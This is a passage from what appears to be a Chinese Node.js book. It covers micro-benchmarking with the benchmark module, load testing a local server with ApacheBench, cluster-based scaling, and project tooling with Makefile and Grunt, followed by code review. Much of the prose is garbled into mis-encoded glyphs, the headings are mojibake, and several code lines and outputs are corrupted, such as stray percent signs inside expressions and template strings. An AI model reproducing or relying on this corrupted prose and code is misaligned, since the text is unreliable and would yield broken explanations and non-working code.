ᬓ了۲э测试，这᧖还̭࠱ፀݟʹ对Web应用ᤈᛠ网ፎࡎ᭦的性能测试֖ˉ务ૈಕ的૰ኪ。 

10.2.1� ෎ޚ⌟䆩 

۲本上，ඇ个开发者都Хܫ为自己的̼ᆉ写۲э测试的能Ҧ。۲э测试要统᝟的就是在多࠵

时ᫍ内੯ᛠ了多࠵次౼个ழก。为了ܘ强可ඊ性，一ᓉ会以次数作为ԟཱྫྷ，ཨ后ඊᣖ时ᫍ，以

൤౎ѻѾ性能的ࢿᡯ。 

ϛݟ我们要测试ECMAScript5ଡΘ的Array.prototype.map֖९环ଡԨϘˏሗழय，它们都是

ᤕ̼一个数组，಩૵ុٿѥ数੯ᛠ的ᤄٿϘ३到一个新的数组，相关̼ᆉݟ下Ὑ 

var nativeMap = function (arr, callback) { 
  return arr.map(callback); 
}; 
 
var customMap = function (arr, callback) { 
  var ret = []; 
  for (var i = 0; i < arr.length; i++) { 
    ret.push(callback(arr[i], i, arr)); 
  } 
  return ret; 
}; 

ඊᣖኤӬᄯ接的ழय就是ౝᤴ相Վ的ᣤ入数૵，ཨ后੯ᛠ相Վ的次数，最后ඊᣖ时ᫍ。为൤

我们可以写一个ழก౎੯ᛠ这个͉务，Хͳݟ下੝ᇧὙ 

var run = function (name, times, fn, arr, callback) { 
  var start = (new Date()).getTime(); 
  for (var i = 0; i < times; i++) { 
    fn(arr, callback); 
  } 
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  var end = (new Date()).getTime(); 
  console.log('Running s d times cost d ms', name, times, end % % % - start); 
}; 

最后，分Ѿុ用1 000 000次Ὑ 

var callback = function (item) { 
  return item; 
}; 
 
run('nativeMap', 1000000, nativeMap, [0, 1, 2, 3, 5, 6], callback); 
run('customMap', 1000000, customMap, [0, 1, 2, 3, 5, 6], callback); 

३到的ፆ౦ݟ下੝ᇧὙ 

Running nativeMap 1000000 times cost 873 ms 
Running customMap 1000000 times cost 122 ms 

在我的机٧上测试ፆ౦௬ᇧArray.prototype.map੯ᛠ相Վ的͉务，要ᔈ᠟for९环ழय7υࢺ

Ծ的时ᫍ。 

上᭦就是ᤈᛠ۲э测试的۲本ழก。为了३到ఝ᜺ᔴ֖ఝ好的ᣤѢፆ౦，这᧖̭ፀbenchmark

这个ഴڰ是ݟʹ组织۲э测试的，相关̼ᆉݟ下Ὑ 

var Benchmark = require('benchmark'); 
 
var suite = new Benchmark.Suite(); 
 
var arr = [0, 1, 2, 3, 5, 6]; 
suite.add('nativeMap', function () { 
  return arr.map(callback); 
}).add('customMap', function () { 
  var ret = []; 
  for (var i = 0; i < arr.length; i++) { 
    ret.push(callback(arr[i])); 
  } 
  return ret; 
}).on('cycle', function (event) { 
  console.log(String(event.target)); 
}).on('complete', function() { 
  console.log('Fastest is ' + this.filter('fastest').pluck('name')); 
}).run(); 

它᤯过suite౎组织ඇ组测试，在测试͇ݒ中ុ用add()౎ຊ加ᜁ测试的̼ᆉ。 

੯ᛠ上ᤗ̼ᆉ，३到的ᣤѢፆ౦ݟ下Ὑ 

nativeMap x 1,227,341 ops/sec ±1.99  (83 runs sampled)%  
customMap x 7,919,649 ops/sec ±0.57  % (96 runs sampled) 
Fastest is customMap 

benchmarkഴڰᣤѢ的ፆ౦与我们用௾᤯ழयᤈᛠ测试多Ѣ±1.99  (83 runs sampled)% 这˥一

ൿ。事实上，benchmarkഴڰ并不是ኤӬڠ统᝟੯ᛠ多࠵次测试̼ᆉ后对ඊ时ᫍ，它对测试有着

ːࠚ的ઙ样过程。੯ᛠ多࠵次ழกԨ决于᧓样到的数૵能否߸੆统᝟。83 runs sampledᛪᇧ对

nativeMap测试的过程中，有83个样本，ཨ后我们಩૵这些样本，可以推ኪѢಕэழࢿ，Ԁ±1.99%

这部分数૵。 
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10.2.2� य़࡯⌟䆩 

ᬓ了可以对۲本的ழกᤈᛠ۲э测试外，᤯࣡还会对网ፎ接ԯᤈᛠԌҦ测试以ѻற网ፎ接ԯ

的性能，这在6.4ᓫ໥ᇧ过。对网ፎ接ԯ做ԌҦ测试ᭉ要Ꮵಉ的几个ૈಕ有՛Ւည、ֽ应时֖ᫍ

并发数，这些ૈಕ反௡了服务٧的并发ူܪ能Ҧ。 

最࣡用的工Х是ab、siege、http_loadኍ，下᭦我们᤯过ab工Х౎ౝᤴԌҦ测试，相关̼ᆉ

 下Ὑݟ

$ ab -c 10 -t 3 http://localhost:8001/ 
This is ApacheBench, Version 2.3 <$Revision: 655654 $> 
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ 
Licensed to The Apache Software Foundation, http://www.apache.org/ 
 
Benchmarking localhost (be patient) 
Completed 5000 requests 
Completed 10000 requests 
Finished 11573 requests 
 
 
Server Software:         
Server Hostname:        localhost 
Server Port:            8001 
 
Document Path:          / 
Document Length:        10240 bytes 
 
Concurrency Level:      10 
Time taken for tests:   3.000 seconds 
Complete requests:      11573 
Failed requests:        0 
Write errors:           0 
Total transferred:      119375495 bytes 
HTML transferred:       118507520 bytes 
Requests per second:    3857.60 [#/sec] (mean) 
Time per request:       2.592 [ms] (mean) 
Time per request:       0.259 [ms] (mean, across all concurrent requests) 
Transfer rate:          38858.59 [Kbytes/sec] received 
 
Connection Times (ms) 
              min  mean[+/-sd] median   max 
Connect:        0    0   0.3      0      31 
Processing:     1    2   1.9      2      35 
Waiting:        0    2   1.9      2      35 
Total:          1    3   2.0      2      35 
 
Percentage of the requests served within a certain time (ms) 
  50       2%  
  66       3%  
  75       3%  
  80       3%  
  90       3%  
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  95       3%  
  98       5%  
  99       6%  
 100      35 (longes% t request) 

上ᤗ̽֐ᛪᇧ10个并发用ਖ਼૆续3ሙՓ服务٧端发Ѣ请ය。下᭦ኤ要̭ፀ上ᤗ̼ᆉ中Չ个ԟ

数的դ˦。 

� Document Pathǖᛪᇧ஠ು的ᡸफ़，൤ܪ为/。 

� Document Lengthǖᛪᇧ஠ು的᫁ऎ，就是ઐ஠的大小，这᧖有10KB。 

� Concurrency Levelǖ并发ጞѾ，就是我们在̽֐中͛入的c，൤ܪ为10，Ԁ10个并发。 

� Time taken for testsǖᛪᇧ߸੆੝有测试੝ᔈ᠟的时ᫍ，它与̽֐ᛠ中͛入的tᤤᮉ有

ጹॱѢ入。 

� Complete requestsǖᛪᇧ在这次测试中一Р߸੆多࠵次请ය。 

� Failed requestsǖᛪᇧФ中产生ܾ᠋的请ය数，这次测试中没有ܾ᠋的请ය。 

� Write errorsǖᛪᇧ在写入过程中Ѣဗ的ᩱឧ次数（ᤋ接ற开࠭ᒰ的）。 

� Total transferredǖᛪᇧ੝有的ઐ஠大小。 

� HTML transferredǖᛪᇧ仅HTTPઐ஠的ൣ஠大小，它ඊ上一个Ϙ小。 

� Requests per secondǖ这是我们᧗ཁ关ซ的一个Ϙ，它ᛪᇧ服务٧ඇሙ能ူܪ多࠵请ය，

是᧗ཁ反௡服务٧并发能Ҧ的ૈಕ。这个ϘԠሥRPS੊QPS。 

� ˏ个Time per requestϘǖኃ一个̼ᛪ的是用ਖ਼ࣰڨኍय़时ᫍ，ኃ̃个̼ᛪ的是服务٧ࣰ

 。事͇，前者ᬓ以并发数३到后者ူܪ请යڨ

� Transfer rateǖᛪᇧ͛ᣤည，ኍ于͛ᣤ的大小ᬓ以͛ᣤ时ᫍ，这个Ϙԩ网Ӵ的ࣛࠔᬌ҃。 

� Connection Timesǖᤋ接时ᫍ，它包括客ਖ਼端Փ服务٧端त立ᤋ接、服务٧端ူܪ请ය、

ኍय़ઐ஠ֽ应的过程。 

最后的数૵是请ය的ֽ应时ᫍ分࣊，这个数૵是Time per request的实ᬄ分࣊。可以ᄹ到，

50%的请ය都在2ms内߸੆，99%的请ය都在6ms内ᤄٿ。 

Բ外，ᭉ要ឬ௙的是，上ᤗ测试是在我的ቷ᝭本上ᤈᛠ的，我的ቷ᝭本的相关ᦠᎵݟ下Ὑ 

 GHz Intel Core i5 2.4  ٧ူܪ

内8  ߚ GB 1333 MHz DDR3 

10.2.3� ෎ޚ⌟䆩偅ࡼᓔথ 
Felix Geisendörfer是Node௉య的一个̼ᆉ贡献者，Վ时也是一些优ሑഴڰ的作者，Ф中最ᗂ

Տ的为他的几个MySQL驱动，以ᤜය性能ᗂሥ。他在þFaster than Cÿࣵ༤ྞ中ଡ到了一ሗ他੝

使用的开发ഴय，ኤሥ也是BDD，Кሥ为Benchmark Driven Development，Ԁ۲э测试驱动开发，

Ф中˞要分为ݟ下几൥Фึ程图ݟ图10-9੝ᇧ。 

(1) 写۲э测试。 

(2) 写/இ̼ᆉ。 

(3) 收ᬶ数૵。 
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(4) ੼Ѣ问题。 

 。到ኃ(2)൥ٿ(5)

 

图10-9 ۲э测试驱动开发的ึ程图 

之前测试的服务٧端脚本ᤁᛠ在Ӭ个CPU上，为了ᰍ᝼clusterഴڰ是否有஌，我们可以ԟཱ

Felix Geisendörfer的ழกᤈᛠᤕ̼。᤯过上᭦的测试，我们已经߸੆了一遍上ᤗึ程。接下౎，

我们ٿ到ኃ(2)൥，ᄹᄹ是否有性能的ଡӣ。 

ԓ始̼ᆉ௃ᭉ͉ʹఝஇ，下᭦我们新ܘ一个cluster.js஠͇，用于಩૵机٧上的CPU数量ը动

多ᤈ程౎ᤈᛠ服务，相关̼ᆉݟ下Ὑ 

var cluster = require('cluster'); 
 
cluster.setupMaster({ 
  exec: "server.js" 
}); 
 
var cpus = require('os').cpus(); 
for (var i = 0; i < cpus.length; i++) { 
  cluster.fork(); 
} 
console.log('start ' + cpus.length + ' workers.'); 

接着᤯过ݟ下̼ᆉը动新的服务Ὑ 

node cluster.js  
start 4 workers. 

ཨ后用相Վ的ԟ数测试，಩૵ፆ౦ѻறը动多个ᤈ程是否是ᛠ之有஌的ழก。测试ፆ౦ݟ下Ὑ 

$ ab -c 10 -t 3 http://localhost:8001/ 
This is ApacheBench, Version 2.3 <$Revision: 655654 $> 
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ 
Licensed to The Apache Software Foundation, http://www.apache.org/ 
 
Benchmarking localhost (be patient) 
Completed 5000 requests 
Completed 10000 requests 
Finished 14145 requests 
 
 
Server Software:         
Server Hostname:        localhost 
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Server Port:            8001 
 
Document Path:          / 
Document Length:        10240 bytes 
 
Concurrency Level:      10 
Time taken for tests:   3.010 seconds 
Complete requests:      14145 
Failed requests:        0 
Write errors:           0 
Total transferred:      145905675 bytes 
HTML transferred:       144844800 bytes 
Requests per second:    4699.53 [#/sec] (mean) 
Time per request:       2.128 [ms] (mean) 
Time per request:       0.213 [ms] (mean, across all concurrent requests) 
Transfer rate:          47339.54 [Kbytes/sec] received 
 
Connection Times (ms) 
              min  mean[+/-sd] median   max 
Connect:        0    0   0.5      0      61 
Processing:     0    2   5.8      1     215 
Waiting:        0    2   5.8      1     215 
Total:          1    2   5.8      2     215 
 
Percentage of the requests served within a certain time (ms) 
  50       2%  
  66       2%  
  75       2%  
  80       2%  
  90       3%  
  95       3%  
  98       4%  
  99       5%  
 100     215 (longest request)%  

从测试ፆ౦可以ᄹ到，QPS从ԓ౎的3857.60Ԫ੆了4699.53，这个ፆ౦௬ᇧ性能并没有与CPU

的数量੆线性ܘ᫁，这个问题我们ఆ不ଅಉ，ͭ 它已经ᰍ᝼了我们的இ动ᆷ实是能ܴଡӣ性能的。 

10.2.4� ⌟䆩᭄᥂ϢϮࡵ᭄᥂ⱘ䕀ᤶ 

᤯࣡，在ᤈᛠ实ᬄ的ҩ能开发之前，我们ᭉ要᝿ͤˉ务量，以Φҩ能开发߸੆后能ܴᑇ͉实

ᬄ的在线ˉ务量。ݟ౦用ਖ਼量只有几个，ඇ天的PV只有几Ӡ个，ᥦ˥网ቢ开发几˪不ᭉ要̣˥

优Ӑ就能ᑇ͉。ݟ౦PV上10ʹ甚至ᄇʹ、ӡʹ，就ᭉ要ᤁ用性能测试౎ᰍ᝼是否能ܴ໗ᡛ实ᬄ

ˉ务ᭉය，ݟ౦不໗ᡛ，就要ᤁ用Չሗ优Ӑ੣ൿଡӣ服务能Ҧ。 

ϛ᝹౼个页᭦ඇ天的᝺问量为100ʹ。಩૵实ᬄˉ务情х，˞要᝺问量大ᒰᬶ中在10个小时

以内，ᥦ˥૰ኪМय就是Ὑ 

QPS = PV / 10h 

100ʹ的ˉ务᝺问量૰ኪ为QPS，ጝኍ于27.7，Ԁ服务٧ᭉ要ඇሙ27.7ူܪ个请ය才能ᑇ͉ˉ

务量。 
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10.3� ᘏ㒧 

测试是应用੊者系统最᧗要的质量γ᝼੣ൿ。有ӬЊ测试实践的ᮉ目，ॸཨ对̼ᆉ的ዡऎ֖

ڠ部的ൣᆷ性，也能ܴ在ᮉ目ᤕ̼过程中很好ࡌ次都ଁଦ३ᣖ好。ӬЊ测试能ܴγ᝼ᮉ目ඇ个ࡎ

ᄢᅕ֖反ᯟᤕ̼质量。ݟ౦没有ӬЊ测试，就ݟՎᳫܳ᧖没有ሕཌྷ的ᛠ走。 

对于性能，在编ᆉ过程中一定ߚ在部分ਕ性认ᅻ，与实ᬄ情х有部分ϟࢿ，Ꮺ性能测试Ѷ能

很好ڠமൣ这ሗࢿऩ。 

10.4� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 

� http://nodejs.org/docs/latest/api/assert.html 

� http://visionmedia.github.com/mocha/ 

� https://github.com/visionmedia/should.js 

� https://github.com/fent/node-muk 

� https://github.com/alex-seville/blanket 

� http://about.travis-ci.org/docs/ 

� https://github.com/JacksonTian/unittesting  

� https://speakerdeck.com/felixge/faster-than-c-3  
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Node相对于大多数Web技术还ኪ是年ᣏ的，这਒։着没有ဗ੆֖੆熟的ಳ౵੊应用系统可以

ᄯ接上੣使用，׷ˉӐ还ܪ于ᖯᔎ࿃খ。反过౎，这也能ᝧ开发者接触到ᣖ多的ऄࡎጹᓫ，ݟ

HTTPӨᝫ、ᤈ程ഴۋ、服务ഴۋኍ，这些ऄࡎԓူ与Ф他ဗ有技术并௃实质性的ࢿѾ。对于Node

开发者Ꮺ言，很多Ф他语言走过的ᡸᭉ要开发者ࣛ着Nodeྱ性᧗新Ԝ践ᛠ一遍。这并不是ڭ事，

Nodeఝ接ᤂऄࡎ使३开发者对于Хͳጹᓫ的可ଌऎ᭣࣡高。 

目前，在国内大多数人都࠱Node以实ᰍ性质的ழय౎使用，国外已经有ᅻՏ的ᮉ目࠱Node应

用在实ᬄ的生产环境中，ݟeBay的数૵中ᫍࡎ、Linkedinሧ动应用的服务٧端ኍ。本ብ࠱សጹ̭

ፀ࠱Node产品Ӑ过程中ᭉ要ซ᧗的一些ጹᓫ，这些ጹᓫФ实是Хܫ௾᤟性的，并᭣Node੝࿗有。

᧜于部分Node开发者可能从前端ᣀ౎，为了߸ؒNode生খ的̭ፀ，੝以ຊ加了൤ብ。ࡉ管因为熟

悉JavaScript，可以ᣖ好ڠ上੣Node，ͭ是事实上从໥ᇧԓۋ到产品还有ᣖ᫁的ᎊᬨᭉ要Ԝ܌补。 

在实ᬄ的产品中，ᭉ要很多᭣编ᆉ相关的工作以γ᝼ᮉ目的ᤈ֖ࡘ产品的ൣ࣡ᤁᛠኍ，这些

ጹᓫ包括工程Ӑ、౵ౝ、ࠓ༪͊ܫ、部Ꮇ֖ᤁ፤ኍ。只有这些͉务在૆续性ᤈᛠ，才ᛪ௙ᮉ目是

活着的。 

11.1� 乍ⳂᎹ⿟࣪ 

੝៊的工程Ӑ，可以ူ解为ᮉ目的组织能Ҧ。ͳဗ在஠͇上，就是஠͇的组织能Ҧ。对于不Վ

ዜۋ的ᮉ目，Ф组织ழय也有੝不Վ。ᬓ൤之外，还应ॆ有能ܴ࠱ஞ个ᮉ目˘ᐎ起౎的灵᱇性஠͇。 

ᮉ目的组织就࿆ݟᛠи作ੌ的᫻ก֖ብก，ຈ˼Ꮺ௃目的的и᫲几˪不可能੩ᑇ̵，有Ф्、

有Ф᱇的组织的生֐ֆయ才会ఝ᫁，Ф्খ才ఝሶڌ。 

在ᮉ目工程Ӑ过程中，最۲本的几൥是目ेፆౝ、ౝत工Х、编ᆉ᜺ᔴ֖̼ᆉࠅಉኍ，下᭦

ᤩ一ᝮ解。 

11.1.1� Ⳃᔩ㒧ᵘ 

目前，˞要的ˏዜᮉ目为Web应用֖ഴڰ应用。௾᤯的ഴڰ应用ᥕ९CommonJS的ഴ֖ڰ包

᜺ᔴԀ可，Фጹᓫ可ԟ᜸ኃ2ብ。对于Web应用，组织ழय有ՉሗՉ样，ͭ是只要ᥕ९Ӭ一ԓѶ

Ԁ可。࣡᜸的Web应用都是以MVC为˞要ಳ౵的，Ф余部分在这个۲ᆨ上ᤈᛠੰࡘ。下᭦是我的

第 11 章
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౼个Web应用ᮉ目Ὑ 

$ tree -L 2 

. 

Аϴϴ History.md // ၜ目߀动૦๏ 

Аϴϴ INSTALL.md // 安装ຫ௽ 

Аϴϴ Makefile // Makefile文件 

Аϴϴ benchmark // 基准测试 

Аϴϴ controllers // 控制器 

Аϴϴ lib // ு有模块化的文件目录 

Аϴϴ middlewares // 中间件 

Аϴϴ package.json // 包描述文件ǈၜ目ᅈડၜ配置ڪ 

Аϴϴ proxy // 数据代理目录ǈ类ຼMVC中的M 

Аϴϴ test // 测试目录 

Аϴϴ tools // 工具目录 

Аϴϴ views // 视图目录 

Аϴϴ routes.js // 路ᆯ注֩表 

Аϴϴ dispatch.js // 多进程࠶理 

Аϴϴ README.md // ၜ目ຫ௽文件 

Аϴϴ assets // 静态文件目录 

Аϴϴ assets.json // 静态文件与CDN路径的ᆙพ文件 

Аϴϴ bin // ੗执行গ本 

Аϴϴ config // 配置目录 

Аϴϴ logs // 日志目录 

Јϴϴ app.js // 工作进程 

这个ᮉ目ፆౝ࠱Չሗҩ能的஠͇分门Ѿዜॅڠጩ到目े中，Ф中包դ௾᤯的MVCጝ定

CommonJSഴڰጝ定以Ԣ一些自有ጝ定。੆熟一ཁ的Web应用ಳ౵（ݟExpress）还ଡΘ了̽֐ᛠ

工Х౎初始ӐWeb应用，为开发者ଡΘ了一个ᣖ好的起ཁ。 

在实ᬄ的目े中，还ߚ在node_modules这样一个目े，ͭ这个目े᤯࣡不用加入到ྟ本ଌ҃

中。在部Ꮇᮉ目时，我们᤯过npm install̽֐߶ᜈpackage.json中ᦠᎵ的Ιᠺ஠͇时，会自动生

੆这个目े。 

11.1.2� ᵘᓎᎹ݋ 

有了源̼ᆉᮉ目，只是߸੆了ኃ一൥。要想ᄽൣ能用上源̼ᆉ，还ᭉ要一定的ୱ作，这些ୱ

作˞要有Ջ并᭡খ஠͇、Ԍ᎕஠͇大小、੩包应用、编ដഴڰኍ。ݟ౦ඇ次都੣工߸੆这些ୱ作，

஌ည会ඊᣖͯ下。为了ᓫጝᠪ源，൤ዜ工作̓ፋ工Х౎߸੆ඊᣖՋ᤟，Ꮺౝत工Х就是߸੆൤ዜ

ᭉය的。࣡࠱用ୱ作᤯过ౝत工ХᦠᎵ起౎后，后续只要ኤӬ的̽֐就能߸੆大部分工作了。 

目前，在Node的应用中，˞ึ的ౝत工Х还是Ꮴ牌的make，ͭ它的Ꭴཁ是只在*nixୱ作系统

下有஌。为了实ဗᡴࣰԻ，Grunt应ᤁᏪ生。Grunt᤯过Node写੆，ύүNode的ᡴࣰԻ能Ҧ，实ဗ

了很好的ࣰԻЩࠓ性。下᭦ኤ要̭ፀ这ˏ个工Х。 

1. Makefile 
Makefile஠͇是*nix系统下经Ц的ౝत工Х。ᬓ了Windows系统外，Ф他系统几˪都能使用

它。ԩMakefileॕֽ的还有Ruby的Rakefile֖Gemfileኍ。Makefile஠͇᤯࣡用౎管ူ一些编ដ相关
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的工作。以下为经Ц的3ᛠౝत̼ᆉὙ 

$ ./configure 

$ make 

$ make install 

在这3ᛠ̼ᆉ中，有ˏᛠ̽֐ᡱMakefile有关。 

在Web应用中，᤯࣡也会在Makefile஠͇中编写一些ౝत͉务౎ࣞүᮉ目ଡӣ஌ည，ඊݟ᭡

খ஠͇的Ջ并编ដ、应用੩包、ᤁᛠ测试、ຌူ目े、ੲଠ̼ᆉኍ。下᭦为我的౼个Webᮉ目的

Makefile஠͇Ὑ 

TESTS = $(shell ls -S `find test -type f -name "*.js" -print`) 

TESTTIMEOUT = 5000 

MOCHA_OPTS = 

REPORTER = spec 

 

install: 

  @$PYTHON=`which python2.6` NODE_ENV=test npm install 

 

test: 

  @NODE_ENV=test ./node_modules/mocha/bin/mocha \ 

    --reporter $(REPORTER) \ 

    --timeout $(TIMEOUT) \ 

    $(MOCHA_OPTS) \ 

    $(TESTS) 

 

test-cov: 

  @$(MAKE) test REPORTER=dot 

  @$(MAKE) test MOCHA_OPTS='--require blanket' REPORTER=html-cov > coverage.html 

  @$(MAKE) test MOCHA_OPTS='--require blanket' REPORTER=travis-cov 

 

reinstall: clean 

  @$(MAKE) install 

 

clean: 

  @rm -rf ./node_modules 

 

build: 

  @./bin/combo views . 

 

.PHONY: test test-cov clean install reinstall 

这个Makefile஠͇࠱测试、测试᜷ᄥည、ᮉ目ຌူ、Ιᠺ߶ᜈኍஞՋᤈmake࠱。̽֐Makefile

与૆续ᬶ੆工Х੊发࣊工ХஞՋ起౎࠱会ᝧ开发者ᄴ心ᄴҦ。 

2. Grunt 
Makefile׬一的Ꭴᬝ也᝴就是ᡴࣰԻ问题了，为൤才有ant、rakeኍ工Х的Ѣဗ。在Node生খ

系统中，也有一൛ౝत工Х解决了Makefile௃กᡴࣰԻ的问题úúGrunt。 

Grunt用Node写੆，能ܴՎ时在Windows֖*nixࣰԻ下ᤁᛠ。GruntፆՋNPM的包Ιᠺ管ူ，

߸К可以޸ᎾJavaˆႌ的Maven工Х，Վ时它ԠݟMakefile一样，能ܴ用౎ౝत߸ؒ的自动Ӑ͉务

工Х。它的᝹᝟ူএ与Makefile并不相ՎὙMakefileΙ托强大的bash编程，GruntѶΙ托它˗ࠜ的
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ଢ͇，它自ᢵଡΘ᤯用接ԯ用于ଢ͇的接入，Хͳ的͉务Ѷ由ଢ͇߸੆。 

Grunt的ನ心ଢ͇以grunt-contrib-开ܿ，在NPM包管ူࣰԻ上可以੼到֖ಉᄹ。GruntଡΘ

了3个ഴڰ分Ѿ用于ᤁᛠ时、初始Ӑ֖̽֐ᛠὙgrunt、grunt-init、grunt-cli。后᭦ˏ个ഴڰ都可以

作为̽֐ᛠ工Х使用，߶ᜈ时ࣛ-gԀ可。 

一样，Grunt也会在ᮉ目目े中ଡΘ一个Gruntfile.js஠͇。ዜͪ于Makefile஠͇̽֐Վmakeݟ

的͉务ᦠᎵ，在目े下੯ᛠgrunt̽֐会Ԝ读Ԩឞ஠͇，ཨ后解ౡ、੯ᛠ͉务。下᭦是౼个ഴڰ

ᮉ目的Gruntfile.js஠͇Ὑ 

module.exports = function(grunt) { 

  grunt.loadNpmTasks('grunt-contrib-clean'); 

  grunt.loadNpmTasks('grunt-contrib-concat'); 

  grunt.loadNpmTasks("grunt-contrib-jshint"); 

  grunt.loadNpmTasks('grunt-contrib-uglify'); 

  grunt.loadNpmTasks('grunt-replace'); 

 

  // Project configuration 

  grunt.initConfig({ 

    pkg: grunt.file.readJSON('package.json'), 

    jshint: { 

      all: { 

        src: ['Gruntfile.js', 'src/**/*.js', 'test/**/*.js'], 

        options: { 

          jshintrc: "jshint.json" 

        } 

      } 

    }, 

    clean: ["lib"], 

    concat: { 

      htmlhint: { 

        src: ['src/core.js', 'src/reporter.js', 'src/htmlparser.js', 'src/rules/*.js'], 

        dest: 'lib/htmlhint.js' 

      } 

    }, 

    uglify: { 

      htmlhint: { 

        options: { 

          banner: "/*!\r\n * HTMLHint v< = pkg.version >% % \r\n * 

            https://github.com/yaniswang/HTMLHint\r\n *\r\n * (c) 2013 Yanis Wang 

<yanis.wang@gmail.com>.\r\n * MIT Licensed\r\n */\n", 

          beautify: { 

            ascii_only: true 

          } 

        }, 

        files: { 

          'lib/< = pkg.name >.js': ['< = concat.htmlhint.dest % % % >']%  

        } 

      } 

    }, 

    replace: { 

      htmlhint: { 
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        files: { 'lib/htmlhint.js':'lib/htmlhint.js'}, 

        options: { 

          prefix: '@', 

          variables: { 

            'VERSION': '< = pkg.version >'% %  

          } 

        } 

      } 

    } 

  }); 

  grunt.registerTask('dev', ['jshint', 'concat']); 

  grunt.registerTask('default', ['jshint', 'clean', 'concat', 'uglify', 'replace']); 

}; 

make工Х֖GruntՉ有੝᫁，ͭ是对于不熟悉bash编程的开发者，GruntѶݟࠀஐ௠。 

11.1.3� 㓪ⷕ㾘㣗 

ౝत了ᓡ好的ᮉ目ፆౝ后，工程Ӑኪ是有了一个不ᩱ的开ܿ。也᝴很࠵有人᥄᜸一个ڃ᫲有

很多人᤯过JavaScript开发应用的情景，ͭ在JavaScript应用场景ᡔ౎ᡔ多的情х下，ஞ个ڃ᫲一

起፤એ一̼͊ᆉ࠱会很࣡᜸。多人፤એ相Վ的̼ᆉ，࠱会᭦˙ڃ᫲੆տපࣰ不一ኍ问题。Ꮺ̼ᆉ

是否Хܫᓡ好的可፤એ性是最能ͳဗڃ᫲ገ质的ڠழ。为ڃ᫲统一ᓡ好的编ᆉ᮲ಪ，有ү于ࣞү

ଡӣ̼ᆉ的可读性，ᤈᏪଡӣ可፤એ性。ᮉ目中̼ᆉ的可፤એ性是ॕֽᮉ目后య੆本的᧗要因ገ，

一ெ௉య不ซ᧗可፤એ性，后యᮉ目的ᤕ̼֖bugν复都会Ᏹ᠟ࢼ大的੆本。तᝫ在ᮉ目一开始

就҃定۲本的编ᆉ᜺ᔴ，ᝧڃ᫲्੆统一的᮲ಪ。 

编ᆉ᜺ᔴ的统一一ᓉ有几ሗ实ဗழय，一ሗ是஠ುय的ጝ定，一ሗ是̼ᆉଡ̓时的强҃೜ಉ。

前者᭤自᜿，后者᭤工Х。 

在JSLint֖JSHint工Х的ࣞү下，ဗ在已经能ܴ很好ڠᦠᎵ᜺Ѷ了。一ெڃ᫲ጝ定了编ᆉ᜺

ᔴ的សጹ᜺Ѷ，Ѷ可以生੆一͊᜺Ѷ஠͇。一些ੲଠ工Х੊者编ᣣ٧能ܴ᤯过ឞ᜺Ѷ஠͇对源ᆉ

ᤈᛠੲଠ，ᄯ接ଡᇧ开发者问题੝在。 

目前，我᤯过为ᮉ目创त.jshintrc஠͇，Sublime Text 2编ᣣ٧在߶ᜈଢ͇后可以实时自动ੲ

ଠ̼ᆉ，并ಕซѢ编ᆉ中的问题੝在。 

关于编ᆉ᜺ᔴ，可以ԟ᜸ᬃेC，Ф中有សጹ的ଠᤗ。 

JavaScript是一门ܹ过于灵活的语言，ඇ个ڃ᫲应ॆ有自己的ጝో᜺ᔴ，使३编ᆉ能ܴγ૆灵

活Ԡː៞，这对于工程Ӑ是一个很好的ܘᤈ。 

11.1.4� ҷⷕᅵᶹ 

̼ᆉࠅಉत立在Хͳ的̼ᆉଡ̓过程中。目前，开源社区大多᤯过GitHub实ဗ̼ᆉ托管。对

于一些͌ˉ，也᤯过gitlabኍ开源工Хୃत了内部的̼ᆉ托管ࣰԻ。这ዜ托管ࣰԻᬓ了实ဗ̼ᆉ

托管外，还ܘ强了bugᤜᢍ的系统，并且ѽ用git的分ஂྱཁ，可以很好ڠ实ဗ̼ᆉࠅಉ。git的分

ஂ开发ഴय᭣࣡灵活，᭣࣡ѽ于分࣊य开发。开发者可以很ࠓ௛ڠ从˞࣯ኣѢ̼ᆉ，ཨ后ᤈᛠҩ
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能的开发，य़开发߸උ后，ଡ̓ٿ˞࣯，发起Ջ并请යԀ可。图11-1为发起Ջ并请ය֖̼ᆉࠅಉ

的ึ程ᇧ਒图。 

 

图11-1 发起Ջ并请ය֖̼ᆉࠅಉ的ึ程ᇧ਒图 

̼ᆉࠅಉ˞要在请යՋ并的过程中߸੆，ᭉ要ࠅಉ的ཁ有ҩ能是否ൣᆷ߸੆、编ᆉ᮲ಪ是否

ቿՋ᜺ᔴ、ӬЊ测试是否有Վ൥ຊ加ኍ。ݟ౦不ቿՋ᜺ᔴ，就ᭉ要᧗新ఝஇ̼ᆉ，ཨ后вଡ̓ࠅ

ಉ，只有᤯过ࠅಉ之后，̼ᆉ才应ឞՋ并ᤈ˞࣯。图11-2໥ᇧ了̼ᆉࠅಉ的ึ程ᇧ਒图。 

 

图11-2 ̼ᆉࠅಉ的ึ程ᇧ਒图 

̼ᆉࠅಉᭉ要Ᏹ᠟一定的ዴҦ，一些可以自动Ӑ߸੆的工作可以̓由工Х౎自动߸੆，ඊݟ

编ᆉ᜺ᔴ的೜ಉ。ͭ ೜ಉ后的ፆ౦，还ᭉ要人工߸੆ᆷ认。ࡉ管实ᛠ̼ᆉࠅಉ会ᔈ᠟一定的ዴҦ，

ͭ是̼ᆉ质量的ሶڌଡӣ੝ࣛ౎的好ܪ还是会ᤩຑٿઐፋ产品的。 

在̼ᆉՋ并的过程中，一ᓉ还会ᬶ੆ӬЊ测试的੯ᛠኍ环境，य़一Ѭ都没有问题之后才会上

线部Ꮇ。 

11.2� 䚼㕆⌕⿟ 

̼ᆉ在߸੆开发、ࠅಉ、Ջ并之后，才会ᤈ入部Ꮇึ程。ࡉ管经过一系Ѵː៞的人工ࠅಉ֖

ӬЊ测试的质量γ᝼，ͭ 也并不能ᄯ接上线到生产环境中ᄯ接ᤁᛠ，还ᭉ要在测试环境中测试之

后才Љ᝴ᤈ入生产环境ᤈᛠ线上测试。 
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11.2.1� 䚼㕆⦃๗ 

在实ᬄ的ᮉ目ᭉය中，有ˏ个ཁᭉ要ᰍ᝼，一是ҩ能的ൣᆷ性，一是与数૵相关的೜ಉ。ኃ

一个ᭉය是௾᤟的೜ಉ，᤯࣡会эܫ测试环境౎Θ开发੊者测试人տᰍ᝼̼ᆉ的இ动是否ൣᆷ。

